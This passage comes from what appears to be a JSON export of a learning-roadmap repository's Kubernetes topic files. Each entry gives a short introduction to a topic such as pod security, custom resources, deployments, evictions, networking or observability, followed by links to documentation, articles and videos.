    "content": "# Container and Pod Security\n\nKubernetes (k8s) can secure containers and pods through measures like using trusted container images, limiting container privileges, enforcing pod-level security policies, implementing network security measures, using access controls with RBAC, and managing sensitive information with Secrets and ConfigMaps. These practices help organizations reduce the risk of security incidents in their k8s clusters.\n\nVisit the following resources to learn more:\n\n- [@official@Configure a Security Context for a Pod or Container](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)\n- [@article@Tutorial: Create a Kubernetes Pod Security Policy](https://thenewstack.io/tutorial-create-a-kubernetes-pod-security-policy/)\n- [@article@6 Overlooked Yet Important Kubernetes Features to Secure](https://thenewstack.io/6-overlooked-yet-important-kubernetes-features-to-secure/)\n- [@video@Kubernetes Security - Security Context for a Pod or Container](https://www.youtube.com/watch?v=i8wfvoVf2xs)\n- [@feed@Explore top posts about Security](https://app.daily.dev/tags/security?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/kubernetes/content/container-and-pod-security@i7qxaFhFHPfe3fGEgsbcE.md",
    "content": "# Container and Pod Security\n\nKubernetes (k8s) can secure containers and pods through measures like using trusted container images, limiting container privileges, enforcing pod-level security policies, implementing network security measures, using access controls with RBAC, and managing sensitive information with Secrets and ConfigMaps. These practices help organizations reduce the risk of security incidents in their k8s clusters.\n\nVisit the following resources to learn more:\n\n- [@official@Configure a Security Context for a Pod or Container](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)\n- [@article@Tutorial: Create a Kubernetes Pod Security Policy](https://thenewstack.io/tutorial-create-a-kubernetes-pod-security-policy/)\n- [@article@6 Overlooked Yet Important Kubernetes Features to Secure](https://thenewstack.io/6-overlooked-yet-important-kubernetes-features-to-secure/)\n- [@video@Kubernetes Security - Security Context for a Pod or Container](https://www.youtube.com/watch?v=i8wfvoVf2xs)\n- [@feed@Explore top posts about Security](https://app.daily.dev/tags/security?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/kubernetes/content/containers@HGmeYvRf7_XusZl_K4x9k.md",
    "content": "# Containers\n\nKubernetes is built on containers, so before learning Kubernetes you should be comfortable running and building containers from scratch.\n\nVisit the following resources to learn more:\n\n- [@article@Official Docker Tutorial](https://www.docker.com/101-tutorial/)\n- [@article@Docker Curriculum](https://docker-curriculum.com/)\n- [@video@Docker in 100 Seconds (video)](https://www.youtube.com/watch?v=Gjnup-PuquQ)\n- [@video@Free 3 Hour Video Course on Docker for Beginners](https://www.youtube.com/watch?v=3c-iBn73dDE)\n- [@feed@Explore top posts about Containers](https://app.daily.dev/tags/containers?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/kubernetes/content/creating-custom-controllers@L9rVPEEXFwisQOwT_LQ4v.md",
    "content": "# Custom Controllers\n\nCustom controllers in Kubernetes automate the management of custom resources that are not natively supported by Kubernetes. They are implemented as Kubernetes controllers that watch custom resources and react to changes in their state. Custom resources are created by extending the Kubernetes API with new resource types specific to an organization's needs. Custom controllers can be developed using various programming languages and frameworks, such as the Operator Framework. The Operator Framework provides tools and best practices for developing, testing, and deploying custom controllers.\n\nVisit the following resources to learn more:\n\n- [@official@Custom Controllers](https://kubernetes.io/docs/concepts/extend-kubernetes/api-extension/custom-resources/#custom-controllers)\n- [@video@Extending Kubernetes with Custom Controllers](https://www.youtube.com/results?search_query=Custom+controllers+in+k8s)"
  },
  {
    "path": "src/data/roadmaps/kubernetes/content/csi-drivers@55RV9psPCmcg8G_P_zQo9.md",
    "content": "# CSI drivers\n\nCSI (Container Storage Interface) drivers in Kubernetes provide a standard way for storage providers to integrate with Kubernetes and offer persistent storage for containerized applications. They operate as separate containerized processes and communicate with Kubernetes through a well-defined API. CSI drivers allow Kubernetes to access a wide range of storage systems and provide advanced features like snapshotting and cloning.\n\nVisit the following resources to learn more:\n\n- [@official@Container Storage Interface (CSI) for Kubernetes](https://kubernetes.io/blog/2019/01/15/container-storage-interface-ga/)\n- [@video@CSI in Kubernetes](https://www.youtube.com/watch?v=brXPQ1Qwjl4)"
  },
  {
    "path": "src/data/roadmaps/kubernetes/content/custom-resource-definitions-crds@9P7l-RBOkUxs3Z_UpKQO-.md",
    "content": "# Custom Resource Definitions\n\nCustom Resource Definitions (CRDs) in Kubernetes extend the Kubernetes API by defining new resource types specific to an organization's needs. CRDs create custom resources that can manage a wide variety of resources, such as applications, databases, storage, and networking. They are defined using YAML or JSON manifests and can be created and managed using the Kubernetes API server. Once created, custom resources can be managed using Kubernetes controllers and integrated with other Kubernetes components. CRDs are a powerful tool for streamlining operations in Kubernetes and enabling organizations to manage resources in a more efficient and customized way.\n\nVisit the following resources to learn more:\n\n- [@official@Custom Resources - Documentation](https://kubernetes.io/docs/concepts/extend-kubernetes/api-extension/custom-resources/)\n- [@video@Custom Resource Definition (CRD) Explained with Demo](https://www.youtube.com/watch?v=u1X5Rf7fWwM)"
  },
  {
    "path": "src/data/roadmaps/kubernetes/content/custom-schedulers-and-extenders@1-Nb8rCMJEZrYm20sEcRJ.md",
    "content": "# Custom Schedulers Extenders\n\nCustom Scheduler Extenders in Kubernetes enhance the scheduling capabilities of Kubernetes by allowing users to define their own scheduling logic based on custom metrics and constraints. They are implemented as custom Kubernetes controllers that run alongside the Kubernetes scheduler. Custom Scheduler Extenders can be used to implement scheduling policies specific to an organization's needs and can be developed using various programming languages. They intercept scheduling requests, add custom scheduling logic based on user-defined rules, and pass requests back to the Kubernetes scheduler.\n\nVisit the following resources to learn more:\n\n- [@article@Create a custom Kubernetes scheduler](https://developer.ibm.com/articles/creating-a-custom-kube-scheduler/)\n- [@video@Custom Scheduler Kubernetes | Multiple Schedulers Kubernetes](https://www.youtube.com/watch?v=NiB7sjXmiZc)"
  },
  {
    "path": "src/data/roadmaps/kubernetes/content/deploying-your-first-application@zrbSJa3k7a3TE0aYbWi9c.md",
    "content": "# Deploying your First Application\n\nTo deploy your first application in Kubernetes, you need to create a deployment and service manifest in YAML files, apply the manifests to your Kubernetes cluster using the kubectl apply command, verify that your application's pods are running with kubectl get pods, and test the service with kubectl get services and accessing the service using a web browser or a tool like cURL. There are also various tools and platforms available that can simplify application deployment in Kubernetes, such as Helm charts and Kubernetes operators.\n\nVisit the following resources to learn more:\n\n- [@course@Kubernetes Deployment Hands-on Lab](https://kodekloud.com/studio/labs/kubernetes/deployments-stable)\n- [@official@Using kubectl to Create a Deployment](https://kubernetes.io/docs/tutorials/kubernetes-basics/deploy-app/deploy-intro/)\n- [@article@Deploying An Application On Kubernetes From A to Z](https://web.archive.org/web/20230326150953/https://www.weave.works/blog/deploying-an-application-on-kubernetes-from-a-to-z)\n- [@article@Kubernetes 101: Deploy Your First Application with MicroK8s](https://thenewstack.io/kubernetes-101-deploy-your-first-application-with-microk8s/)\n- [@video@Kubernetes Tutorial | Your First Kubernetes Application](https://www.youtube.com/watch?v=Vj6EFnav5Mg)\n- [@video@Kubernetes 101: Deploying Your First Application](https://www.youtube.com/watch?v=XltFOyGanYE)"
  },
  {
    "path": "src/data/roadmaps/kubernetes/content/deployment-patterns@0l0xpsabglvs_t6oAP-XG.md",
    "content": "# Blue Green Deployments\n\nIt is a deployment strategy used in Kubernetes for deploying new versions of an application by running two identical production environments, one with the current version (blue) and the other with the new version (green). After the green environment is fully tested, traffic is routed from the blue environment to the green environment, providing a seamless transition for users and avoiding any downtime or disruption. In Kubernetes, Blue-Green Deployments can be implemented using a variety of tools and techniques, including deployment strategies, traffic routing, and load balancing.\n\nVisit the following resources to learn more:\n\n- [@article@Create a Kubernetes Blue Green Deployment](https://developer.harness.io/docs/continuous-delivery/cd-execution/kubernetes-executions/create-a-kubernetes-blue-green-deployment/)\n- [@video@Kubernetes - Blue/Green Deployments](https://www.youtube.com/watch?v=jxhpTGQ484Y)"
  },
  {
    "path": "src/data/roadmaps/kubernetes/content/deployments@TUGQX7y1gs-aKPge2F1NU.md",
    "content": "# Deployments\n\nA Deployment is a resource object for managing Pods and ReplicaSets via a declarative configuration, which define a desired state that describes the application workload life cycle, number of pods, deployment strategies, container images, and more. The Deployment Controller works to ensure the actual state matches desired state, such as by replacing a failed pod. Out of the box, Deployments support several deployment strategies, like \"recreate\" and \"rolling update\", however can be customized to support more advanced deployment strategies such as blue/green or canary deployments.\n\nVisit the following resources to learn more:\n\n- [@official@Deployments Documentation](https://kubernetes.io/docs/concepts/workloads/controllers/deployment/)\n- [@article@Kubernetes Deployment: From Basic Strategies to Progressive Delivery\n](https://codefresh.io/learn/kubernetes-deployment/)\n- [@video@Kubernetes Deployments | Deployment Strategies](https://youtu.be/lxc4EXZOOvE)"
  },
  {
    "path": "src/data/roadmaps/kubernetes/content/evictions@TRKzlDW2PQN9bWTyz3NWL.md",
    "content": "# Evictions\n\nEvictions terminate or delete running pods from a node due to reasons like resource constraints or pod failures. They can be initiated by the system or administrators manually through the API. Evictions can be graceful, allowing pods to clean up resources, or forceful, immediately terminating them. Kubernetes provides preemption and pod disruption budgets to handle evictions effectively and minimize service disruptions. Evictions are necessary to manage and maintain Kubernetes clusters, and Kubernetes provides tools to handle them.\n\nVisit the following resources to learn more:\n\n- [@official@Node-pressure Eviction](https://kubernetes.io/docs/concepts/scheduling-eviction/node-pressure-eviction/)\n- [@official@API-initiated Eviction](https://kubernetes.io/docs/concepts/scheduling-eviction/api-eviction/)"
  },
  {
    "path": "src/data/roadmaps/kubernetes/content/external-access-to-services@jUOlITLqnIvSu97I_3nBz.md",
    "content": "# External Access to Services\n\nExternal access to Kubernetes (k8s) Services allows external clients to access pods and services running in the cluster. There are multiple ways to enable external access to Services in k8s, including NodePorts, LoadBalancers, and Ingress. Ingress is a Kubernetes object that provides a flexible way to manage external access, routing traffic to Services based on URL or host. External access is essential to ensure the scalability and reliability of Kubernetes deployments.\n\nVisit the following resources to learn more:\n\n- [@official@Ingress - Documentation](https://kubernetes.io/docs/concepts/services-networking/ingress/)\n- [@article@Kubernetes Ingress for Beginners](https://thenewstack.io/kubernetes-ingress-for-beginners/)\n- [@video@How do I provide external access to Kubernetes services](https://www.youtube.com/watch?v=iBYTFpoXx24)"
  },
  {
    "path": "src/data/roadmaps/kubernetes/content/gitops@dATdEyNWlpDNKjedCXLyb.md",
    "content": "# GitOps\n\nGitOps is a set of practices for managing infrastructure and applications using Git repositories as the source of truth for declarative configuration. In Kubernetes, GitOps involves using Git as the single source of truth for both the desired and actual state of the system, automating deployment and management tasks, and often using it in conjunction with Continuous Delivery (CD) practices. The result is a more consistent, reliable, and automated approach to managing infrastructure and applications.\n\nVisit the following resources to learn more:\n\n- [@article@Using GitOps with a Kubernetes cluster](https://docs.gitlab.com/ee/user/clusters/agent/gitops.html)\n- [@video@DevOps and GitOps for Kubernetes](https://www.youtube.com/watch?v=PFLimPh5-wo)\n- [@feed@Explore top posts about GitOps](https://app.daily.dev/tags/gitops?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/kubernetes/content/helm-charts@FAEFOhLdp7xrmctHFxiOM.md",
    "content": "# Helm Charts\n\nHelm is a Kubernetes package manager that simplifies the deployment and management of complex applications through the use of reusable and versioned Helm charts. These charts are composed of YAML files that describe related sets of Kubernetes resources and can be customized using values files and templating with Go templates. Helm charts can also have dependencies on other charts and be stored in a centralized repository like Helm Hub for easy sharing and access. By utilizing Helm, teams can streamline application management and reduce duplication of effort.\n\nVisit the following resources to learn more:\n\n- [@official@Helm Docs](https://helm.sh/docs/)\n- [@video@What is Helm in Kubernetes? Helm and Helm Charts explained](https://www.youtube.com/watch?v=-ykwb1d0DXU)\n- [@feed@Explore top posts about Helm](https://app.daily.dev/tags/helm?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/kubernetes/content/horizontal-pod-autoscaler-hpa@044IUUCgZP4oQ9UxUG2iy.md",
    "content": "# Horizontal Pod Autoscaler\n\nIt is a feature in Kubernetes that automatically scales the number of replicas of a pod based on the current demand for the workload it is running. The HPA controller monitors the CPU utilization or other metrics of the pod and adjusts the number of replicas of the pod to meet the specified target. This helps to ensure that the workload can handle increases in traffic and demand without overloading the resources of the cluster.\n\nVisit the following resources to learn more:\n\n- [@official@Horizontal Pod Autoscaling - Documentation](https://kubernetes.io/docs/tasks/run-application/horizontal-pod-autoscale/)"
  },
  {
    "path": "src/data/roadmaps/kubernetes/content/injecting-pod-config-with-configmaps@u24UlZKI86vaguj_VpMv1.md",
    "content": "# ConfigMaps\n\nConfigMaps are a way to store configuration data that can be used by applications running in the cluster. A Config Map is a key-value store that can hold configuration data such as database URLs, credentials, API keys, or any other application configuration data that can be used by the application.\n\nVisit the following resources to learn more:\n\n- [@official@ConfigMaps Documentation](https://kubernetes.io/docs/concepts/configuration/configmap/)\n- [@article@Kubernetes CRDs: What They Are and Why They Are Useful](https://thenewstack.io/kubernetes-crds-what-they-are-and-why-they-are-useful/)\n- [@video@Tutorial - ConfigMap in Kubernetes](https://www.youtube.com/watch?v=BPrC_lgmcHQ)"
  },
  {
    "path": "src/data/roadmaps/kubernetes/content/installing-a-local-cluster@YaIs8lquWIe1D7RCUBZmC.md",
    "content": "# Installing a Local Cluster\n\nTo install and configure a Kubernetes cluster on CentOS 7 or Ubuntu, you would need to setup the prerequisites and requirements for setting up a Kubernetes cluster after which you would be installing the Kubernetes components, including Kubeadm, Kubelet, and Kubectl and then you'll need to connect the master and the worker nodes. Once the connection is established you can check it by deploying application on the cluster.\n\nVisit the following resources to learn more:\n\n- [@article@How to Install a Kubernetes Cluster on CentOS 7](https://www.tecmint.com/install-kubernetes-cluster-on-centos-7/)\n- [@article@How To Create a Kubernetes Cluster Using on Ubuntu](https://www.digitalocean.com/community/tutorials/how-to-create-a-kubernetes-cluster-using-kubeadm-on-ubuntu-20-04)\n- [@article@Deploy a Kubernetes Cluster on Ubuntu Server with Microk8s](https://thenewstack.io/deploy-a-kubernetes-cluster-on-ubuntu-server-with-microk8s/)"
  },
  {
    "path": "src/data/roadmaps/kubernetes/content/installing-the-control-plane@M-iTb_7EWZIJ3JpdViICx.md",
    "content": "# Control Plane Installation\n\nThe control plane's components make global decisions about the cluster (for example, scheduling), as well as detecting and responding to cluster events (for example, starting up a new pod when a deployment's replicas field is unsatisfied). Control plane components can be run on any machine in the cluster. However, for simplicity, set up scripts typically start all control plane components on the same machine, and do not run user containers on this machine.\n\nVisit the following resources to learn more:\n\n- [@official@Initializing your control-plane node - Documentation](https://kubernetes.io/docs/setup/production-environment/tools/kubeadm/create-cluster-kubeadm/#initializing-your-control-plane-node)\n- [@video@Tutorial - Install Control Plane Components](https://www.youtube.com/watch?v=IUwuyZ5ReF0)"
  },
  {
    "path": "src/data/roadmaps/kubernetes/content/introduction@y7KjVfSI6CAduyHd4mBFT.md",
    "content": "# Kubernetes Introduction\n\nKubernetes is an open-source container orchestration platform that automates the deployment, scaling, and management of containerized applications. It provides a way to abstract the underlying infrastructure and manage applications at scale, while also offering flexibility, portability, and a rich feature set. Kubernetes has become the de facto standard for container orchestration due to its widespread adoption, active community, and ability to handle complex, multi-tiered applications.\n\nVisit the following resources to learn more:\n\n- [@official@Kubernetes Documentation](https://kubernetes.io/)\n- [@article@Introduction of Kubernetes](https://www.digitalocean.com/community/tutorials/an-introduction-to-kubernetes)\n- [@video@Kubernetes Tutorial for Beginners](https://www.youtube.com/watch?v=X48VuDVv0do)\n- [@feed@Explore top posts about Kubernetes](https://app.daily.dev/tags/kubernetes?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/kubernetes/content/jobs@r3fzAN5DzratAKnnT8hzb.md",
    "content": "# Jobs\n\na Job is a controller that manages the execution of a finite task or batch job. Jobs are used to run short-lived tasks, such as batch processing, data analysis, or backups, that run to completion and then terminate. Jobs create one or more pods to run the task, and they monitor the completion status of each pod. If a pod fails or terminates, the Job automatically creates a replacement pod to ensure that the task is completed successfully. Jobs are defined by a YAML file that includes a pod template, completion criteria, and other settings.\n\nVisit the following resources to learn more:\n\n- [@official@Jobs Documentation](https://kubernetes.io/docs/concepts/workloads/controllers/job/)\n- [@article@How Kubernetes Is Transforming into a Universal Scheduler](https://thenewstack.io/how-kubernetes-is-transforming-into-a-universal-scheduler/)\n- [@video@Tutorial | Jobs in Kubernetes](https://www.youtube.com/watch?v=j1EnBbxSz64)"
  },
  {
    "path": "src/data/roadmaps/kubernetes/content/key-concepts-and-terminologies@9oo2fxTM2_p0VYPBroqxa.md",
    "content": "# Key Concepts Terminologies\n\nKubernetes is an open-source container orchestration platform that automates the deployment, scaling, and management of containerized applications. Here are some important concepts and terminologies in Kubernetes:\n\n*   Cluster Architecture: The architectural concepts behind Kubernetes.\n*   Containers: Technology for packaging an application along with its runtime dependencies.\n*   Workloads: Understand Pods, the smallest deployable compute object in Kubernetes, and the higher-level abstractions that help you to run them.\n*   Services, Load Balancing, and Networking: Concepts and resources behind networking in Kubernetes.\n*   Storage: Ways to provide both long-term and temporary storage to Pods in your cluster.\n*   Configuration: Resources that Kubernetes provides for configuring Pods.\n*   Cluster Administration: Lower-level detail relevant to creating or administering a Kubernetes cluster.\n\nVisit the following resources to learn more:\n\n- [@official@Concepts of Kubernetes](https://kubernetes.io/docs/concepts/)\n- [@article@Understand Kubernetes terminology](https://about.gitlab.com/blog/2020/07/30/kubernetes-terminology/)\n- [@video@What Is Kubernetes?](https://www.youtube.com/watch?v=QJ4fODH6DXI)\n- [@video@Kubernetes Explained by Experts in 2 Minutes](https://youtu.be/XfBrtNZ2OCw)"
  },
  {
    "path": "src/data/roadmaps/kubernetes/content/kubernetes-alternatives@3fzuXKH7az_LVnmnoXB1p.md",
    "content": "# Kubernetes Alternatives\n\nKubernetes is a popular open-source container orchestration tool that is widely used for managing and deploying containerized applications. While there are other container orchestration tools available, such as Docker Swarm, Mesos, and Nomad, there are some key differences between Kubernetes and these other tools and some of them are mentioned below:\n\n*   Architecture: Kubernetes is designed as a modular system with many components that work together to provide container orchestration, such as the Kubernetes API server, kubelet, kube-proxy, and etcd.\n*   Scalability: Kubernetes is designed to handle large-scale deployments and can scale applications up or down based on demand.\n*   Flexibility: Kubernetes is highly configurable and can be customized to meet specific requirements, whereas other container orchestration tools may have more limited configuration options.\n*   Portability: Kubernetes is designed to be cloud-agnostic and can run on any public or private cloud platform, as well as on-premises.\n*   Community: Kubernetes has a large and active community of developers and users who contribute to its development and provide support.\n\nVisit the following resources to learn more:\n\n- [@article@Compare Apache Mesos vs. Kubernetes](https://www.techtarget.com/searchitoperations/tip/Compare-container-orchestrators-Apache-Mesos-vs-Kubernetes)\n- [@article@Docker Swarm, a User-Friendly Alternative to Kubernetes](https://thenewstack.io/docker-swarm-a-user-friendly-alternative-to-kubernetes/)\n- [@article@Can You Live without Kubernetes?](https://thenewstack.io/can-you-live-without-kubernetes/)\n- [@feed@Explore top posts about Kubernetes](https://app.daily.dev/tags/kubernetes?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/kubernetes/content/kubernetes-extensions-and-apis@UeJcKv3jhenjNzHM-0R86.md",
    "content": "# Kubernetes Extensions and APIs\n\nKubernetes (k8s) extensions and APIs are used to customize the behavior of Kubernetes and add new capabilities to the system. Kubernetes extensions, including Custom Resource Definitions (CRDs), Custom Controllers, Custom Scheduler Extenders, and Custom Metrics APIs, enhance Kubernetes functionality. Kubernetes APIs are used to manage resources in a Kubernetes cluster and interact with the system. Kubernetes extensions and APIs together provide a powerful toolkit for customizing and extending Kubernetes, enabling users to build custom components and APIs that streamline operations in Kubernetes.\n\nVisit the following resources to learn more:\n\n- [@official@Extensions - Documentation](https://kubernetes.io/docs/concepts/extend-kubernetes/#extensions)\n- [@official@The Kubernetes API - Documentation](https://kubernetes.io/docs/concepts/overview/kubernetes-api/)\n- [@feed@Explore top posts about Kubernetes](https://app.daily.dev/tags/kubernetes?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/kubernetes/content/load-balancing@Qelo1YvAcUoX5PA-RYbNp.md",
    "content": "# Load Balancing\n\nLoad balancing in distributes network traffic across multiple pods or nodes using a Service object. A Service provides a stable network endpoint for a set of pods, allowing other pods or external clients to access them through a single IP address and DNS name. Kubernetes offers three types of load balancing algorithms for Services, which distribute traffic based on round-robin, least connections, or IP hash. Load balancing is an essential part of Kubernetes networking, providing efficient and reliable traffic distribution across a cluster.\n\nVisit the following resources to learn more:\n\n- [@official@Load Balancing - Documentation](https://kubernetes.io/docs/concepts/services-networking/ingress/#load-balancing)\n- [@article@Ingress Controllers: The Swiss Army Knife of Kubernetes](https://thenewstack.io/ingress-controllers-the-swiss-army-knife-of-kubernetes/)\n- [@video@Tutorial | Load Balancing Service in Kubernetes](https://www.youtube.com/watch?v=xCsz9IOt-fs)"
  },
  {
    "path": "src/data/roadmaps/kubernetes/content/logs@-XxQtiLDAkXs7IFM_Ddw6.md",
    "content": "# Logs\n\nLogs are generated by containerized applications running on nodes within the cluster. You can access these logs using the kubectl logs command followed by the name of the pod. By default, this command shows the logs from the most recent container in the pod, but you can specify a specific container within the pod by adding the container name to the command. Adding the -f flag to the command allows you to follow the logs in real-time. There are also third-party logging solutions available for Kubernetes, such as the EFK and Prometheus stacks, that provide more advanced logging capabilities and scalability for large-scale applications.\n\nVisit the following resources to learn more:\n\n- [@official@System Logs](https://kubernetes.io/docs/concepts/cluster-administration/system-logs/)\n- [@video@Kubernetes: Log collection explained](https://www.youtube.com/watch?v=6kmHvXdAzIM)"
  },
  {
    "path": "src/data/roadmaps/kubernetes/content/metrics@nqUBHBFUYFdYqCKZvfXBR.md",
    "content": "# Metrics\n\nMetrics to monitor include CPU usage, memory usage, network usage, disk usage, API server metrics, pod and container metrics, and cluster-level metrics. These metrics provide insights into the performance and health of the cluster, nodes, and applications running on the cluster. Kubernetes provides tools such as Prometheus, Grafana, and Kubernetes Dashboard for collecting and analyzing these metrics. By monitoring these metrics, administrators can identify performance issues and optimize the cluster for better performance and scalability.\n\nVisit the following resources to learn more:\n\n- [@official@Node Metrics Data](https://kubernetes.io/docs/reference/instrumentation/node-metrics/)\n- [@video@How to collect metrics in K8s?](https://www.youtube.com/watch?v=JQrk6HwlN78)"
  },
  {
    "path": "src/data/roadmaps/kubernetes/content/monitoring--optimizing-resource-usage@PP4ld_vvjpY3QltBBsXKD.md",
    "content": "# Monitoring and Optimizing Resource Usage\n\nMonitoring and optimizing resource usage in Kubernetes helps ensure workloads run efficiently while minimizing waste and avoiding performance issues. By observing CPU, memory, and storage consumption at the node, pod, and container levels, teams can identify bottlenecks, detect underutilized resources, and make informed scaling decisions. Optimization techniques include right-sizing resource requests and limits, using autoscaling mechanisms, and continuously analyzing metrics through monitoring tools. Effective monitoring and optimization improve cluster stability, reduce costs, and enhance overall application performance.\n\nVisit the following resources to learn more:\n\n- [@official@Monitoring Resources in Kubernetes](https://kubernetes.io/docs/tasks/debug/debug-cluster/resource-metrics-pipeline/)\n- [@official@Metrics Server](https://kubernetes.io/docs/tasks/debug/debug-cluster/resource-metrics-pipeline/#metrics-server)\n- [@official@Horizontal Pod Autoscaling](https://kubernetes.io/docs/tasks/run-application/horizontal-pod-autoscale/)\n- [@article@Kubernetes Resource Monitoring: Best Practices](https://www.redhat.com/en/blog/kubernetes-resource-monitoring-best-practices)\n- [@article@Optimizing Kubernetes Resource Utilization](https://thenewstack.io/optimizing-kubernetes-resource-utilization/)"
  },
  {
    "path": "src/data/roadmaps/kubernetes/content/monitoring-and-logging@AgsQnQjyTLUFhFpRdcE13.md",
    "content": "# Observability Engines\n\nObservability in Kubernetes (k8s) refers to the ability to gain insight into the inner workings of your cluster, applications, and services running on top of it. An observability engine in k8s is a tool or platform that facilitates the collection, analysis, and visualization of data from various sources in your k8s environment. Some popular observability engines in k8s include Prometheus, Grafana, Jaeger, and Elastic Stack (ELK).\n\nVisit the following resources to learn more:\n\n- [@opensource@K8sGPT - AI scanner for Kubernetes problems](https://github.com/k8sgpt-ai/k8sgpt)\n- [@opensource@HolmesGPT - AIOps Platform for investigating Kubernetes problems and Prometheus alerts](https://github.com/robusta-dev/holmesgpt/)\n- [@article@Kubernetes Observability 101: Tools, Best Practices, And More](https://www.cloudzero.com/blog/kubernetes-observability)\n- [@article@Kubernetes Observability in KubeSphere](https://kubesphere.io/observability/)\n- [@feed@Explore top posts about Observability](https://app.daily.dev/tags/observability?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/kubernetes/content/multi-cluster-management@auZgEQ6FC3nUjuyx0zANh.md",
    "content": "# Multi Cluster Management\n\nMulti-Cluster Management in Kubernetes (k8s) refers to the ability to manage multiple Kubernetes clusters using a single control plane. This approach allows administrators to centrally manage and orchestrate resources across multiple clusters, regardless of where they are located, without having to switch between multiple management consoles or tools.\n\nVisit the following resources to learn more:\n\n- [@official@Configure Access to Multiple Clusters - Documentation](https://kubernetes.io/docs/tasks/access-application-cluster/configure-access-multiple-clusters/)\n- [@video@Kubernetes Cluster Management Strategies](https://www.youtube.com/watch?v=966TJ6mlOYY)"
  },
  {
    "path": "src/data/roadmaps/kubernetes/content/network-security@s0gHg8CqwrSylpSPu8arA.md",
    "content": "# Network Security\n\nNetwork security in Kubernetes involves securing network communication between different components within the cluster and with external networks. This can be achieved through various mechanisms such as Network Policies, Encryption, Authentication, Authorization, and Firewall rules. Network Policies provide fine-grained control over network traffic, while encryption ensures secure communication between pods, nodes, and external systems. Authentication and Authorization mechanisms prevent unauthorized access and provide secure communication between various components. Firewall rules help to protect the cluster against external attacks by limiting access to specific ports and protocols. Overall, network security in Kubernetes is critical to maintaining the confidentiality, integrity, and availability of the cluster.\n\nVisit the following resources to learn more:\n\n- [@official@Network Policies - Documentation](https://kubernetes.io/docs/concepts/services-networking/network-policies/)\n- [@article@6 Kubernetes Security Best Practices](https://thenewstack.io/6-kubernetes-security-best-practices/)\n- [@article@The Kubernetes Network Security Effect](https://thenewstack.io/the-kubernetes-network-security-effect/)\n- [@article@Kubernetes Security Best Practices to Keep You out of the News](https://thenewstack.io/kubernetes-security-best-practices-to-keep-you-out-of-the-news/)\n- [@video@Kubernetes Security Best Practices](https://www.youtube.com/watch?v=oBf5lrmquYI)\n- [@feed@Explore top posts about Security](https://app.daily.dev/tags/security?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/kubernetes/content/networking--pod-to-pod-communication@44rhdieUCWsGFC_1__9kk.md",
    "content": "# Networking & Pod-to-Pod Communication\n\nKubernetes networking enables pods to communicate with each other across the cluster, regardless of which node they are running on. Every pod is assigned its own IP address, and Kubernetes follows a flat network model where all pods can directly communicate with each other without Network Address Translation (NAT).\n\nPod-to-pod communication is implemented by a **Container Network Interface (CNI)** plugin, such as Calico, Flannel, Cilium, or Weave. These plugins are responsible for IP address assignment, routing, and enforcing network policies. By default, all pod traffic is allowed, but **NetworkPolicies** can be used to control and restrict traffic between pods for security and isolation.\n\nReliable pod-to-pod networking is a core requirement for building distributed and microservices-based applications in Kubernetes.\n\nVisit the following resources to learn more:\n\n- [@official@Cluster Networking - Kubernetes Documentation](https://kubernetes.io/docs/concepts/cluster-administration/networking/)\n- [@official@Network Policies - Kubernetes Documentation](https://kubernetes.io/docs/concepts/services-networking/network-policies/)\n- [@article@Kubernetes Networking Explained](https://www.tigera.io/learn/guides/kubernetes-networking/)\n- [@video@Kubernetes Networking Deep Dive](https://www.youtube.com/watch?v=t98ekMiz0hQ)"
  },
  {
    "path": "src/data/roadmaps/kubernetes/content/observability-engines@FANswgUhUb5Iuah2fni3L.md",
    "content": "# Observability Engines\n\nObservability in Kubernetes (k8s) refers to the ability to gain insight into the inner workings of your cluster, applications, and services running on top of it. An observability engine in k8s is a tool or platform that facilitates the collection, analysis, and visualization of data from various sources in your k8s environment. Some popular observability engines in k8s include Prometheus, Grafana, Jaeger, and Elastic Stack (ELK).\n\nVisit the following resources to learn more:\n\n- [@opensource@K8sGPT - AI scanner for Kubernetes problems](https://github.com/k8sgpt-ai/k8sgpt)\n- [@opensource@HolmesGPT - AIOps Platform for investigating Kubernetes problems and Prometheus alerts](https://github.com/robusta-dev/holmesgpt/)\n- [@article@Kubernetes Observability 101: Tools, Best Practices, And More](https://www.cloudzero.com/blog/kubernetes-observability)\n- [@article@Kubernetes Observability in KubeSphere](https://kubesphere.io/observability/)\n- [@feed@Explore top posts about Observability](https://app.daily.dev/tags/observability?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/kubernetes/content/overview-of-kubernetes@qLeEEwBvlGt1fP5Qcreah.md",
    "content": "# Kubernetes overview\n\nKubernetes is a portable, extensible, open source platform for managing containerized workloads and services, that facilitates both declarative configuration and automation. It has a large, rapidly growing ecosystem. Kubernetes services, support, and tools are widely available.\n\nThe name Kubernetes originates from Greek, meaning helmsman or pilot. K8s as an abbreviation results from counting the eight letters between the \"K\" and the \"s\". Google open-sourced the Kubernetes project in 2014. Kubernetes combines over 15 years of Google's experience running production workloads at scale with best-of-breed ideas and practices from the community.\n\nVisit the following resources to learn more:\n\n- [@official@Overview of Kubernetes](https://kubernetes.io/docs/concepts/overview/)\n- [@article@What is Kubernetes?](https://www.redhat.com/en/topics/containers/what-is-kubernetes)\n- [@article@Kubernetes Overview & Essential Reading](https://thenewstack.io/kubernetes/)\n- [@video@Tutorial - Kubernetes](https://www.youtube.com/watch?v=VnvRFRk_51k&t=1sn)\n- [@feed@Explore top posts about Kubernetes](https://app.daily.dev/tags/kubernetes?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/kubernetes/content/pod-priorities@_Gva1eGcYqpmZNPyV03lt.md",
